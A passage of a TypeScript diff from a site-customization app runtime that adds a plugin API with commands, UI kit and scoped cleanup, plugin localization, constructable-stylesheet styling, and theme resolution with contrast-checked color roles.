itemSelector: string;
@ -70,15 +120,41 @@ const CHORD_MS = 1500;
/** True when a key event belongs to text entry, not to page shortcuts. */
export function isTypingTarget(target: EventTarget | null): boolean {
const element = target as (Element & { isContentEditable?: boolean }) | null;
let element = target as (Element & { isContentEditable?: boolean }) | null;
// Focus inside a shadow root (the UI kit's dialogs) reports its host; look at what is focused in it.
while (element && (element as Element).shadowRoot?.activeElement) element = (element as Element).shadowRoot!.activeElement as Element;
if (!element || typeof element.closest !== 'function') return false;
return Boolean(element.isContentEditable) || /^(INPUT|TEXTAREA|SELECT)$/i.test(element.nodeName) || Boolean(element.closest('[contenteditable="true"]'));
}
export function createCorePluginApi(win: Window & typeof globalThis, site: PluginApiSite): CorePluginApi {
export function createCorePluginApi(win: Window & typeof globalThis, site: PluginApiSite, extras: CorePluginExtras = {}): CorePluginApi {
const doc = win.document;
const theme = createThemeApi(win, extras.theme, /^#[0-9a-f]{6}$/i.test(site.toastBackground) ? site.toastBackground : undefined);
// Created on first use: the kit touches the DOM only when something is shown.
let kit: ReturnType<typeof createUiKit> | null = null;
const i18n = createPluginI18n(extras.i18n);
const uiKit = () => kit ??= createUiKit(win, { theme, product: site.product, hostId: site.toastId, text: key => extras.i18n?.message(key) });
const ui: UiKit = Object.freeze({
toast: (...args: Parameters<UiKit['toast']>) => uiKit().toast(...args),
alert: (...args: Parameters<UiKit['alert']>) => uiKit().alert(...args),
confirm: (...args: Parameters<UiKit['confirm']>) => uiKit().confirm(...args),
prompt: (...args: Parameters<UiKit['prompt']>) => uiKit().prompt(...args),
dialog: (...args: Parameters<UiKit['dialog']>) => uiKit().dialog(...args),
modal: (...args: Parameters<UiKit['modal']>) => uiKit().modal(...args),
h: (...args: Parameters<UiKit['h']>) => uiKit().h(...args),
});
const styleNodes = new Map<string, HTMLStyleElement>();
const adoptedFallbacks = new Map<string, RootStyles>();
const report = (error: unknown) => console.error(`[${site.product}] plugin callback failed`, error);
const registry = createCommandRegistry({ target: doc, isTyping: event => isTypingTarget(event.target) || isTypingTarget(doc.activeElement), report });
const commands: CommandRegistry = Object.freeze({
register: registry.register,
list: registry.list,
run: registry.run,
onChange: registry.onChange,
withOwner: registry.withOwner,
removeOwner: registry.removeOwner,
});
const routeListeners = new Set<(href: string, previous: string) => void>();
let lastHref = win.location.href;
@ -103,10 +179,26 @@ export function createCorePluginApi(win: Window & typeof globalThis, site: Plugi
styleNodes.set(id, node);
}
node.textContent = css;
// A CSP that refuses inline styles leaves the element without a sheet: the same rules as an
// adopted sheet instead (CSP does not govern constructed sheets).
const blocked = 'sheet' in node && node.sheet === null && css.trim() !== '';
const fallback = adoptedFallbacks.get(id);
if (blocked) {
if (fallback) fallback.update(css);
else adoptedFallbacks.set(id, adoptStyles(doc, css));
} else if (fallback) {
fallback.remove();
adoptedFallbacks.delete(id);
}
},
clearCSS(id) {
styleNodes.get(id)?.remove();
styleNodes.delete(id);
adoptedFallbacks.get(id)?.remove();
adoptedFallbacks.delete(id);
},
adoptCSS(root, css) {
return adoptStyles(root, css);
},
waitFor(selector, timeoutMs = 15000) {
return new Promise((resolve, reject) => {
@ -227,30 +319,28 @@ export function createCorePluginApi(win: Window & typeof globalThis, site: Plugi
}
},
toast(message, ms = 2200) {
let node = doc.getElementById(site.toastId) as (HTMLElement & { _wbTimer?: number }) | null;
if (!node) {
node = doc.createElement('div');
node.id = site.toastId;
node.setAttribute('role', 'status');
Object.assign(node.style, {
position: 'fixed', left: '50%', bottom: '28px', transform: 'translateX(-50%)', zIndex: '2147483646',
padding: '10px 16px', borderRadius: '10px', background: site.toastBackground, color: '#fff',
font: '600 14px/1.3 system-ui, sans-serif', boxShadow: '0 6px 24px rgba(0,0,0,.35)', maxWidth: '80vw',
});
doc.body.appendChild(node);
}
node.textContent = message;
if (node._wbTimer) clearTimeout(node._wbTimer);
const current = node;
node._wbTimer = win.setTimeout(() => current.remove(), ms);
// The old toast vanished after `ms`; 0 or less meant "at once", so it never means "stay".
ui.toast(String(message), { duration: Number.isFinite(ms) && ms > 0 ? ms : 1 });
},
ui,
theme,
commands,
i18n,
scope() {
let disposers: Dispose[] = [];
let scopedUi: UiKit | null = null;
// A scope belongs to the plugin being started when it is created (usually in start()).
const owner = registry.currentOwner();
return {
css(id, css) {
api.injectCSS(id, css);
disposers.push(() => api.clearCSS(id));
},
adoptCSS(root, css) {
const styles = api.adoptCSS(root, css);
disposers.push(() => styles.remove());
return styles;
},
on(target, type, listener, options) {
target.addEventListener(type, listener, options);
disposers.push(() => target.removeEventListener(type, listener, options));
@ -271,6 +361,24 @@ export function createCorePluginApi(win: Window & typeof globalThis, site: Plugi
defer(fn) {
disposers.push(fn);
},
onThemeChange(callback) {
disposers.push(theme.onChange(callback));
},
get ui() {
if (!scopedUi) {
const scoped = uiKit().scoped();
scopedUi = scoped.kit;
disposers.push(() => { scoped.dispose(); scopedUi = null; });
}
return scopedUi;
},
commands: Object.freeze({
register(definition: CommandDefinition) {
const dispose = registry.registerFor(owner, definition);
disposers.push(dispose);
return dispose;
},
}),
dispose() {
const pending = disposers.reverse();
disposers = [];

View file

@ -0,0 +1,127 @@
// `api.i18n` for plugins: the app's language, and each plugin's own strings in it.
//
// const i18n = window.wayBetter.api.i18n; // bound to the running plugin
// i18n.register({ en: { saved: 'Saved {count, plural, one {# note} other {# notes}}' },
// tr: { saved: '{count, plural, one {# not} other {# not}} kaydedildi' } });
// i18n.t('saved', { count: 2 }); // in the app's language, English otherwise
// i18n.locale; i18n.dir; i18n.onChange(() => rerender());
// i18n.number(1234.5); i18n.date(Date.now(), { dateStyle: 'medium' }); i18n.relative(-3, 'minute');
//
// A plugin's key `k` is looked up in the plugin's own messages for the app's locale chain, then in
// the app's catalog as `plugin.<namespace>.k` (bundled plugins are translated there, by the same
// contributors as the app), then in the plugin's English. The namespace is the plugin file name
// without `.plugin.js`. Messages are text: placeholders are inserted as text, never parsed as HTML.
import { direction, fallbackChain, formatMessage, normalizeLocale, numberFormat, dateFormat, type Dir, type Params } from './i18n.ts';
/** What the site adapter supplies: the app's active locale and its resolved catalog. */
export type I18nSource = {
locale(): string;
/** The app catalog's message for `key` in the active locale (its fallback chain applied), if any. */
message(key: string): string | undefined;
onChange(listener: () => void): () => void;
};
export type PluginMessages = Record<string, Record<string, string>>;
export type PluginI18n = {
readonly locale: string;
readonly dir: Dir;
/** The plugin's message `key` in the app's language, formatted with `params`; the key when unknown. */
t(key: string, params?: Params): string;
has(key: string): boolean;
/** Adds the plugin's own messages, keyed by locale (`{ en: {...}, tr: {...} }`); later calls merge. */
register(messages: PluginMessages): void;
/** Calls `listener(locale)` after the app's language changes. Returns a dispose. */
onChange(listener: (locale: string) => void): () => void;
number(value: number, options?: Intl.NumberFormatOptions): string;
date(value: Date | number | string, options?: Intl.DateTimeFormatOptions): string;
relative(value: number, unit: Intl.RelativeTimeFormatUnit): string;
list(items: readonly string[]): string;
/** The same API for another namespace (a plugin with several files, or code outside `start()`). */
namespace(name: string): PluginI18n;
};
const NAMESPACE = /^[a-z0-9][a-z0-9._-]{0,63}$/i;
const MAX_KEYS = 2000;
const MAX_VALUE = 2000;
/** `emoji-picker.plugin.js` -> `emoji-picker`. */
export function pluginNamespace(id: string): string {
return String(id).replace(/\.plugin\.js$/i, '').replace(/[^a-z0-9._-]/gi, '-').slice(0, 64) || 'plugin';
}
const ENGLISH: I18nSource = { locale: () => 'en', message: () => undefined, onChange: () => () => {} };
export function createPluginI18n(source: I18nSource = ENGLISH, namespace = ''): PluginI18n {
// Shared per namespace so a plugin's `register` in start() is seen by every view of it.
const registry = new Map<string, Map<string, Record<string, string>>>();
const make = (ns: string): PluginI18n => {
const own = () => {
let table = registry.get(ns);
if (!table) { table = new Map(); registry.set(ns, table); }
return table;
};
const locale = () => normalizeLocale(source.locale()) ?? 'en';
const lookup = (key: string): string | undefined => {
const chain = fallbackChain(locale(), 'en');
const table = own();
// Own translations first (not English yet: the app catalog may translate a bundled plugin).
for (const tag of chain) {
if (tag === 'en') break;
const value = table.get(tag)?.[key];
if (typeof value === 'string') return value;
}
if (ns) {
const hosted = source.message(`plugin.${ns}.${key}`);
if (typeof hosted === 'string') return hosted;
}
return table.get('en')?.[key];
};
return Object.freeze({
get locale() { return locale(); },
get dir() { return direction(locale()); },
t(key: string, params?: Params) {
const message = lookup(String(key));
return message === undefined ? String(key) : formatMessage(message, params ?? {}, locale());
},
has: (key: string) => lookup(String(key)) !== undefined,
register(messages: PluginMessages) {
if (!messages || typeof messages !== 'object') return;
const table = own();
for (const [tag, entries] of Object.entries(messages)) {
const normalized = normalizeLocale(tag);
if (!normalized || !entries || typeof entries !== 'object') continue;
const target = { ...table.get(normalized) };
for (const [key, value] of Object.entries(entries)) {
if (typeof value !== 'string' || value.length > MAX_VALUE || Object.keys(target).length >= MAX_KEYS) continue;
target[key] = value;
}
table.set(normalized, target);
}
},
onChange(listener: (locale: string) => void) {
return source.onChange(() => {
try { listener(locale()); } catch (error) { console.error('[wayBetter] i18n listener failed', error); }
});
},
number: (value: number, options?: Intl.NumberFormatOptions) => numberFormat(locale(), options).format(value),
date: (value: Date | number | string, options?: Intl.DateTimeFormatOptions) => {
const date = value instanceof Date ? value : new Date(value);
return Number.isFinite(date.getTime()) ? dateFormat(locale(), options).format(date) : '';
},
relative(value: number, unit: Intl.RelativeTimeFormatUnit) {
try { return new Intl.RelativeTimeFormat(locale().split('-x-')[0], { numeric: 'auto' }).format(value, unit); } catch { return `${value} ${unit}`; }
},
list(items: readonly string[]) {
try { return new Intl.ListFormat(locale().split('-x-')[0], { type: 'conjunction' }).format(items); } catch { return items.join(', '); }
},
namespace(name: string) {
if (!NAMESPACE.test(String(name))) throw new Error(`i18n.namespace: invalid name ${JSON.stringify(name)}`);
return make(String(name));
},
});
};
return make(namespace);
}

View file

@ -4,6 +4,7 @@
import { configureDomHub } from './domHub.ts';
import { configureNetHub } from './netHub.ts';
import type { AccountSite } from './accountReport.ts';
import type { ColumnSite } from './column.ts';
import type { LinkSite } from './linkRouting.ts';
import type { RailSite } from './paneNav.ts';
import type { PluginApiSite } from './pluginApi.ts';
@ -25,6 +26,8 @@ export type SiteAdapter = {
plugins: PluginApiSite;
/** Split-view rail hiding; omit when the site has no navigation rail. */
rail?: RailSite;
/** Power User Mode: how a site tab becomes a narrow deck column (runtime/column.ts); omit = no decks. */
column?: ColumnSite;
/** Signed-in account reader for the account switcher. */
account?: AccountSite;
/** Which in-page clicks the "links to site pages" setting may divert. */

View file

@ -0,0 +1,83 @@
// Styles for roots the runtime (or a plugin) creates: a constructable stylesheet adopted by the
// shadow root (or document) instead of a `<style>` element.
//
// Why: a site's Content-Security-Policy governs `<style>` elements (a `style-src` with a nonce or
// hash and no 'unsafe-inline' refuses them, in shadow roots too), but not constructed sheets
// (`new CSSStyleSheet()` + `replaceSync`), which are also parsed once instead of per element and
// stay adopted when their host is moved to another parent in the same document (a modal
// re-rendered by the site, a card lifted into the top layer). Engines without constructable
// sheets (or a root from another realm that refuses the sheet) get the `<style>` element.
export type RootStyles = {
/** The live sheet (insertRule/deleteRule work on it), or null when nothing could be parsed. */
readonly sheet: CSSStyleSheet | null;
/** True when the sheet is adopted (CSP-proof); false for the `<style>` fallback. */
readonly adopted: boolean;
/** Replaces the rules. */
update(css: string): void;
/** Takes the rules off the root (idempotent). */
remove(): void;
};
type StyleRoot = (ShadowRoot | Document) & { adoptedStyleSheets?: CSSStyleSheet[] };
const DOCUMENT_NODE = 9;
const isDocument = (root: StyleRoot): root is Document & StyleRoot => root.nodeType === DOCUMENT_NODE;
const documentOf = (root: StyleRoot): Document => (isDocument(root) ? root : (root as ShadowRoot).ownerDocument);
/** A sheet built in `root`'s own realm (a sheet from another document cannot be adopted). */
function construct(root: StyleRoot, css: string): CSSStyleSheet | null {
if (!root.adoptedStyleSheets) return null;
const Sheet = (documentOf(root).defaultView as (Window & typeof globalThis) | null)?.CSSStyleSheet;
if (typeof Sheet !== 'function' || typeof Sheet.prototype.replaceSync !== 'function') return null;
try {
const sheet = new Sheet();
sheet.replaceSync(css);
return sheet;
} catch {
return null;
}
}
/**
* Styles `root` with `css`. Adopted sheets come after the root's `<style>` elements in the cascade
* (like a `<style>` appended last), and several calls stack in call order.
*/
export function adoptStyles(root: ShadowRoot | Document, css: string): RootStyles {
const target = root as StyleRoot;
const sheet = construct(target, css);
if (sheet) {
let on = false;
const attach = () => {
try {
target.adoptedStyleSheets = [...(target.adoptedStyleSheets ?? []), sheet];
on = true;
} catch { on = false; }
};
attach();
if (on) {
return {
sheet,
adopted: true,
update(next) { try { sheet.replaceSync(next); } catch { /* Keeps the last good rules. */ } },
remove() {
if (!on) return;
on = false;
try { target.adoptedStyleSheets = (target.adoptedStyleSheets ?? []).filter(item => item !== sheet); } catch { /* Root gone. */ }
},
};
}
}
// Fallback: a `<style>` element as the root's last child (a document: its <head>).
const doc = documentOf(target);
const style = doc.createElement('style');
style.textContent = css;
const parent: Node = isDocument(target) ? (target.head ?? target.documentElement) : target;
parent.appendChild(style);
return {
get sheet() { return style.sheet; },
adopted: false,
update(next) { style.textContent = next; },
remove() { style.remove(); },
};
}

View file

@ -0,0 +1,288 @@
// `api.theme`: the active theme as plain values, so plugins (and the UI kit) can match it. The site
// adapter resolves its own theme document into a `ResolvedTheme` (colors by role, radius, font,
// mode) and says when it changes; this module turns that into `--wb-*` CSS custom properties and
// a small `current()` / `onChange()` API. When the site keeps its own colors (no theme, e.g. X
// default), the adapter still resolves the site's palette, so plugins always see real colors.
//
// Pure except `createThemeApi` / `readPageTheme`, which read the page.
export type ThemeMode = 'light' | 'dark';
/** Every color role a theme has, resolved (derived roles filled in, legibility enforced). */
export type ResolvedColors = {
/** The main surface behind content (the site's column background). */
bg: string;
/** A raised surface (cards, inputs). */
surface: string;
/** Hover / selected surface, one step above `surface`. */
elevated: string;
border: string;
text: string;
/** Secondary text. */
muted: string;
accent: string;
/** Readable text on `accent`. */
onAccent: string;
/** The site's filled primary button and its label. */
inverse: string;
onInverse: string;
/** The canvas behind the columns (equals `bg` unless the theme paints a page). */
page: string;
};
export type ResolvedTheme = {
/** Theme id (`x` for the site's own look). */
id: string;
name: string;
mode: ThemeMode;
/** True when the site's own colors are shown (no theme colors). */
siteDefault: boolean;
colors: ResolvedColors;
/** Card / dialog corner radius in px. */
radius: number;
/** Button corner radius in px (9999 = pill). */
buttonRadius: number;
/** CSS `font-family` stack of the interface. */
font: string;
/**
* Which font goes where: every role resolved (a role that inherits carries the stack it inherits).
* Always present after `normalizeResolved`; adapters without font roles may leave it out.
*/
fonts?: ResolvedFonts;
};
/**
* Font roles: `interface` (the site's UI), `post` (main content text), `heading` (names and
* headings), `numbers` (counts), `mono` (code), `chrome` (the app's own window: tabs, address bar,
* panel) and `dialog` (plugin dialogs and toasts from the UI kit).
*/
export const FONT_ROLE_NAMES = ['interface', 'post', 'heading', 'numbers', 'mono', 'chrome', 'dialog'] as const;
export type FontRoleName = typeof FONT_ROLE_NAMES[number];
export type ResolvedFont = {
/** CSS `font-family` stack. */
stack: string;
/** Weight the role asks for, or null to keep the text's own. */
weight: number | null;
/** Size relative to the site's (1 = unchanged). */
size: number;
/** Letter spacing in em, or null to keep the text's own. */
tracking: number | null;
/** Tabular (fixed-width) figures. */
tabular: boolean;
/** True when the role inherits its family from another role or the site. */
inherited: boolean;
};
export type ResolvedFonts = Record<FontRoleName, ResolvedFont>;
/** Monospaced families, in order: what a `mono` role that inherits (or a source without fonts) gets. */
export const MONO_FAMILIES = ['Cascadia Mono', 'SF Mono', 'Consolas', 'Menlo', 'ui-monospace', 'monospace'];
export const MONO_FONT = MONO_FAMILIES.map(name => (/^(ui-monospace|monospace)$/.test(name) ? name : `"${name}"`)).join(', ');
/** What a site adapter provides: the current resolved theme and change notifications. */
export type ThemeSource = {
current(): ResolvedTheme | null;
onChange(listener: () => void): () => void;
};
export type ThemeApi = {
/** The active theme, resolved. A frozen snapshot: call again after `onChange`. */
current(): ResolvedTheme;
/** Calls `listener(theme)` after the theme (or the site's light/dark mode) changes. Returns a dispose. */
onChange(listener: (theme: ResolvedTheme) => void): () => void;
};
/** Where the theme file JSON Schema is published with the `waybetter` npm package (`"$schema"` in theme files). */
export const THEME_SCHEMA_URL = 'https://unpkg.com/waybetter/theme.schema.json';
export const FALLBACK_FONT = 'system-ui, -apple-system, "Segoe UI", Roboto, Helvetica, Arial, sans-serif';
const HEX = /^#[0-9a-f]{6}$/i;
/** `#rrggbb` → [r, g, b]. */
export function hexToRgb(hex: string): [number, number, number] {
const n = parseInt(hex.slice(1, 7), 16);
return [(n >> 16) & 255, (n >> 8) & 255, n & 255];
}
/** WCAG relative luminance of `#rrggbb`. */
export function relativeLuminance(hex: string): number {
const [r, g, b] = hexToRgb(hex).map(v => { const c = v / 255; return c <= 0.03928 ? c / 12.92 : ((c + 0.055) / 1.055) ** 2.4; }) as [number, number, number];
return 0.2126 * r + 0.7152 * g + 0.0722 * b;
}
/** WCAG contrast ratio of two `#rrggbb` colors (1–21). */
export function contrastRatio(a: string, b: string): number {
const [x, y] = [relativeLuminance(a), relativeLuminance(b)].sort((m, n) => n - m) as [number, number];
return (x + 0.05) / (y + 0.05);
}
/** White when it reaches 4.5:1 on `hex`, otherwise whichever of black and white reads better. */
export function readableOn(hex: string): string {
const white = contrastRatio(hex, '#ffffff');
return white >= 4.5 || white >= contrastRatio(hex, '#000000') ? '#ffffff' : '#000000';
}
/** `rgb(…)` / `rgba(…)` / `#rgb` / `#rrggbb` to `#rrggbb`; null when it is transparent or unparsable. */
export function toHex(value: string | null | undefined): string | null {
const text = (value ?? '').trim();
if (HEX.test(text)) return text.toLowerCase();
const short = /^#([0-9a-f])([0-9a-f])([0-9a-f])$/i.exec(text);
if (short) return `#${short[1]}${short[1]}${short[2]}${short[2]}${short[3]}${short[3]}`.toLowerCase();
const match = /^rgba?\(\s*(\d+)[,\s]+(\d+)[,\s]+(\d+)(?:\s*[,/]\s*([\d.]+%?))?\s*\)$/.exec(text);
if (!match) return null;
if (match[4] !== undefined && parseFloat(match[4]) === 0) return null;
return `#${[match[1], match[2], match[3]].map(v => Math.min(255, Number(v)).toString(16).padStart(2, '0')).join('')}`;
}
/** `a` moved toward `b` by `t` (0–1), per channel. */
export function mix(a: string, b: string, t: number): string {
const [x, y] = [hexToRgb(a), hexToRgb(b)];
return `#${x.map((v, i) => Math.round(v + (y[i]! - v) * t).toString(16).padStart(2, '0')).join('')}`;
}
/**
* A complete resolved theme from a few page colors (background, text, accent), for sites or moments
* without a theme engine. Surfaces, border and muted text sit between background and text.
*/
export function themeFromColors(bg: string, text: string, accent: string, extra: Partial<Omit<ResolvedTheme, 'colors'>> = {}): ResolvedTheme {
const dark = relativeLuminance(bg) < relativeLuminance(text);
const colors: ResolvedColors = {
bg, text, accent,
surface: mix(bg, text, dark ? 0.05 : 0.03),
elevated: mix(bg, text, dark ? 0.1 : 0.07),
border: mix(bg, text, dark ? 0.2 : 0.15),
muted: mix(bg, text, 0.62),
onAccent: readableOn(accent),
inverse: text,
onInverse: bg,
page: bg,
};
return { id: 'page', name: 'Page colors', mode: dark ? 'dark' : 'light', siteDefault: true, radius: 16, buttonRadius: 9999, font: FALLBACK_FONT, ...extra, colors };
}
/** The page's own colors (computed body background and text), used when no theme source exists. */
export function readPageTheme(win: Window, accent = '#1d9bf0'): ResolvedTheme {
let bg: string | null = null;
let text: string | null = null;
let font = '';
try {
const body = win.document.body;
if (body) {
const style = win.getComputedStyle(body);
bg = toHex(style.backgroundColor) ?? toHex(win.getComputedStyle(win.document.documentElement).backgroundColor);
text = toHex(style.color);
font = style.fontFamily;
}
} catch { /* No layout yet. */ }
const dark = !!win.matchMedia?.('(prefers-color-scheme: dark)').matches;
bg ??= dark ? '#000000' : '#ffffff';
text ??= relativeLuminance(bg) < 0.2 ? '#e7e9ea' : '#0f1419';
if (contrastRatio(bg, text) < 3) text = readableOn(bg);
return themeFromColors(bg, text, accent, font ? { font } : {});
}
/** Fills in any role a source left out and freezes the result. */
export function normalizeResolved(theme: ResolvedTheme): ResolvedTheme {
const bg = toHex(theme.colors?.bg) ?? '#ffffff';
let text = toHex(theme.colors?.text) ?? readableOn(bg);
if (contrastRatio(bg, text) < 3) text = readableOn(bg);
const base = themeFromColors(bg, text, toHex(theme.colors?.accent) ?? '#1d9bf0');
const colors = { ...base.colors };
for (const key of Object.keys(colors) as Array<keyof ResolvedColors>) {
const value = theme.colors?.[key];
if (key !== 'bg' && key !== 'text' && typeof value === 'string' && HEX.test(value)) colors[key] = value.toLowerCase();
}
if (!HEX.test(theme.colors.onAccent ?? '')) colors.onAccent = readableOn(colors.accent);
const radius = Number.isFinite(theme.radius) ? Math.max(0, Math.min(28, theme.radius)) : 16;
const buttonRadius = Number.isFinite(theme.buttonRadius) ? Math.max(0, theme.buttonRadius) : 9999;
const font = theme.font || FALLBACK_FONT;
return Object.freeze({
id: String(theme.id || 'theme'), name: String(theme.name || ''), mode: theme.mode === 'light' ? 'light' : 'dark',
siteDefault: !!theme.siteDefault, radius, buttonRadius, font,
colors: Object.freeze(colors),
fonts: normalizeFonts(theme.fonts, font),
});
}
const cssSafe = (value: string) => value.replace(/[;{}<>\\]/g, '');
const finite = (value: unknown, min: number, max: number): number | null =>
typeof value === 'number' && Number.isFinite(value) ? Math.min(max, Math.max(min, value)) : null;
/** Every role filled in: missing roles inherit the interface font (`mono` a monospaced stack). */
export function normalizeFonts(fonts: Partial<Record<FontRoleName, Partial<ResolvedFont>>> | undefined, font: string): ResolvedFonts {
const out = {} as Record<FontRoleName, ResolvedFont>;
const base = fonts?.interface?.stack ? cssSafe(fonts.interface.stack) : font;
for (const role of FONT_ROLE_NAMES) {
const given = fonts?.[role];
const stack = given?.stack ? cssSafe(given.stack) : role === 'mono' ? MONO_FONT : base;
out[role] = Object.freeze({
stack,
weight: finite(given?.weight, 100, 900),
size: finite(given?.size, 0.5, 2) ?? 1,
tracking: finite(given?.tracking, -0.1, 0.2),
tabular: !!given?.tabular,
inherited: given ? !!given.inherited : true,
});
}
return Object.freeze(out);
}
const VAR_NAMES: Record<keyof ResolvedColors, string> = {
bg: '--wb-bg', surface: '--wb-surface', elevated: '--wb-elevated', border: '--wb-border', text: '--wb-text', muted: '--wb-muted',
accent: '--wb-accent', onAccent: '--wb-on-accent', inverse: '--wb-inverse', onInverse: '--wb-on-inverse', page: '--wb-page',
};
/**
* The theme as CSS custom properties: `--wb-bg`, `--wb-surface`, `--wb-elevated`, `--wb-border`,
* `--wb-text`, `--wb-muted`, `--wb-accent`, `--wb-on-accent`, `--wb-inverse`, `--wb-on-inverse`,
* `--wb-page`, `--wb-radius`, `--wb-button-radius`, `--wb-font`, `--wb-mode` (`light`/`dark`), and
* one stack per font role: `--wb-font-interface`, `--wb-font-post`, `--wb-font-heading`,
* `--wb-font-numbers`, `--wb-font-mono`, `--wb-font-chrome`, `--wb-font-dialog`.
*/
export function themeVars(theme: ResolvedTheme): Record<string, string> {
const vars: Record<string, string> = {};
for (const [key, name] of Object.entries(VAR_NAMES)) vars[name] = theme.colors[key as keyof ResolvedColors];
vars['--wb-radius'] = `${theme.radius}px`;
vars['--wb-button-radius'] = `${theme.buttonRadius}px`;
vars['--wb-font'] = theme.font;
const fonts = theme.fonts ?? normalizeFonts(undefined, theme.font);
for (const role of FONT_ROLE_NAMES) vars[`--wb-font-${role}`] = fonts[role].stack;
vars['--wb-mode'] = theme.mode;
return vars;
}
/** `:root{--wb-…}` for a `<style>` element (values come from a resolved theme, never raw input). */
export function themeVarsCss(theme: ResolvedTheme, selector = ':root'): string {
const safe = (value: string) => value.replace(/[;{}<>\\]/g, '');
return `${selector}{${Object.entries(themeVars(theme)).map(([name, value]) => `${name}:${safe(value)}`).join(';')}}`;
}
/** A stable key: equal keys mean nothing visible changed. */
export const themeKey = (theme: ResolvedTheme) => JSON.stringify(theme);
/**
* `api.theme`. With a site `source` it reports the site's resolved theme (falling back to the page's
* computed colors while the source has none); without one, only the page's colors.
*/
export function createThemeApi(win: Window, source?: ThemeSource, fallbackAccent?: string): ThemeApi {
const report = (error: unknown) => console.error('[wayBetter] theme listener failed', error);
const current = (): ResolvedTheme => {
let resolved: ResolvedTheme | null = null;
try { resolved = source?.current() ?? null; } catch (error) { report(error); }
return normalizeResolved(resolved ?? readPageTheme(win, fallbackAccent));
};
return Object.freeze({
current,
onChange(listener: (theme: ResolvedTheme) => void) {
if (!source) return () => {};
let last = '';
try { last = themeKey(current()); } catch { /* Reported by current(). */ }
return source.onChange(() => {
const next = current();
const key = themeKey(next);
if (key === last) return;
last = key;
try { listener(next); } catch (error) { report(error); }
});
},
});
}

View file

@ -0,0 +1,79 @@
// The owner's theme choice: which theme document is on (a built-in one or an imported one), the
// panel's customizations on top of it and an accent override. Native code persists it and hands it
// to every site tab; the shell's theme store and the panel edit it. A site brings its built-in
// themes (`createThemeCatalog(builtins)`; the first one is the site's own look, the default). Pure.
import { applyOverrides, isHex, sanitizeSpec, type Palette, type ThemeOverrides, type ThemeSpec } from './themeSpec.ts';
/** What is persisted natively and handed to the page runtime. */
export type ThemeChoice = { preset: string; accent: string | null; overrides: ThemeOverrides; themes: ThemeSpec[] };
/** Imported themes kept in a choice (the JSON Schema of the native side says the same). */
export const MAX_USER_THEMES = 24;
const OVERRIDE_GROUPS = ['colors', 'font', 'shape', 'layout', 'background', 'effects', 'css'] as const;
export type ThemeCatalog = {
/** The site's built-in themes; the first is its own look (and the default choice). */
builtins: readonly ThemeSpec[];
/** Nothing chosen: the first built-in theme, no customizations. */
defaultChoice: ThemeChoice;
/** Any JSON to a valid choice (imported themes sanitized, bounded and deduplicated; unknown ids fall back). */
normalize(input: unknown): ThemeChoice;
/** The theme document a choice refers to (built-in or imported), before overrides. */
base(choice: ThemeChoice): ThemeSpec;
/** The effective theme: the selected document with the panel's overrides and accent, legible. */
resolve(choice: ThemeChoice): ThemeSpec;
/** The effective palette: the theme's colors (or none for the site's own) with the accent override applied. */
palette(choice: ThemeChoice): Partial<Palette> | null;
/** Every theme that can be picked: the built-in ones, then the choice's imported ones. */
all(choice: ThemeChoice): ThemeSpec[];
};
export function createThemeCatalog(builtins: readonly ThemeSpec[]): ThemeCatalog {
if (!builtins.length) throw new Error('wayBetter themes: a site needs at least one built-in theme (its own look)');
const first = builtins[0]!;
const defaultChoice: ThemeChoice = { preset: first.id, accent: null, overrides: {}, themes: [] };
const isBuiltin = (id: unknown) => builtins.some(item => item.id === id);
function normalize(input: unknown): ThemeChoice {
const source = input && typeof input === 'object' ? input as Record<string, unknown> : {};
const themes: ThemeSpec[] = [];
if (Array.isArray(source.themes)) {
for (const raw of source.themes.slice(0, MAX_USER_THEMES)) {
const theme = sanitizeSpec(raw);
if (!isBuiltin(theme.id) && !themes.some(item => item.id === theme.id)) themes.push(theme);
}
}
const known = (id: unknown) => typeof id === 'string' && (isBuiltin(id) || themes.some(item => item.id === id));
const preset = known(source.preset) ? source.preset as string : first.id;
const accent = isHex(source.accent) ? source.accent.toLowerCase() : null;
const overrides: ThemeOverrides = {};
const rawOverrides = source.overrides && typeof source.overrides === 'object' ? source.overrides as Record<string, unknown> : {};
for (const key of OVERRIDE_GROUPS) {
const value = rawOverrides[key];
if (value && typeof value === 'object' && !Array.isArray(value)) (overrides as Record<string, unknown>)[key] = value;
}
return { preset, accent, overrides, themes };
}
const base = (choice: ThemeChoice) => choice.themes.find(item => item.id === choice.preset) ?? builtins.find(item => item.id === choice.preset) ?? first;
const resolve = (choice: ThemeChoice) => applyOverrides(base(choice), choice.overrides, choice.accent);
function palette(choice: ThemeChoice): Partial<Palette> | null {
const theme = resolve(choice);
if (theme.colors) return theme.colors;
return choice.accent ? { accent: choice.accent } : null;
}
const all = (choice: ThemeChoice) => [...builtins, ...choice.themes];
return { builtins, defaultChoice, normalize, base, resolve, palette, all };
}
/** The choice a tab's theme id stands for (themeScopes: account and pane themes): the global choice itself, or that theme without customizations. */
export function choiceForId(global: ThemeChoice, id: string): ThemeChoice {
return id === global.preset ? global : { preset: id, accent: null, overrides: {}, themes: global.themes };
}
/** The shape persisted natively: empty groups are dropped so "no override" stays unambiguous. */
export function serializeChoice(choice: ThemeChoice) {
const overrides = Object.fromEntries(Object.entries(choice.overrides).filter(([, value]) => value && Object.keys(value).length));
return { preset: choice.preset, accent: choice.accent, ...(Object.keys(overrides).length ? { overrides } : {}), ...(choice.themes.length ? { themes: choice.themes } : {}) };
}

View file

@ -0,0 +1,243 @@
// The theme engine in a site's page: keeps one `<style>` with the theme's CSS in sync while the site
// adds its own rules (React apps insert them lazily), exposes the resolved theme as `--wb-*` custom
// properties for plugins and the UI kit, follows the site's own color mode, and paints the last
// theme from the page's first frame (a snapshot in the page's storage). What the CSS is comes from
// the site adapter (`ThemeRuntimeSite`): X re-declares its own stylesheet rules with the theme's
// colors (`buildThemeCss`) and adds type/shape/layout rules over its selectors.
import { FONT_ROLE_NAMES, themeKey, themeVarsCss, type ResolvedFonts, type ResolvedTheme } from './themeApi.ts';
import type { ThemeCatalog, ThemeChoice } from './themeChoice.ts';
import { bundledFontsUsed, isNeutral, resolveFontRoles, type FontSpec, type ThemeSpec } from './themeSpec.ts';
/** A style rule as the engine reads it (CSSStyleRule, or a plain object in tests). */
export type RuleLike = { selectorText: string; style: { getPropertyValue(name: string): string; length?: number } };
/** The font roles as the plugin API reports them in a site's page; an inheriting interface uses `siteStack` (the site's own font). */
export function resolvedFonts(font: FontSpec, siteStack: string): ResolvedFonts {
const roles = resolveFontRoles(font, siteStack);
return Object.fromEntries(FONT_ROLE_NAMES.map(role => {
const { stack, weight, size, tracking, tabular, inherited } = roles[role];
return [role, { stack, weight, size, tracking, tabular, inherited }];
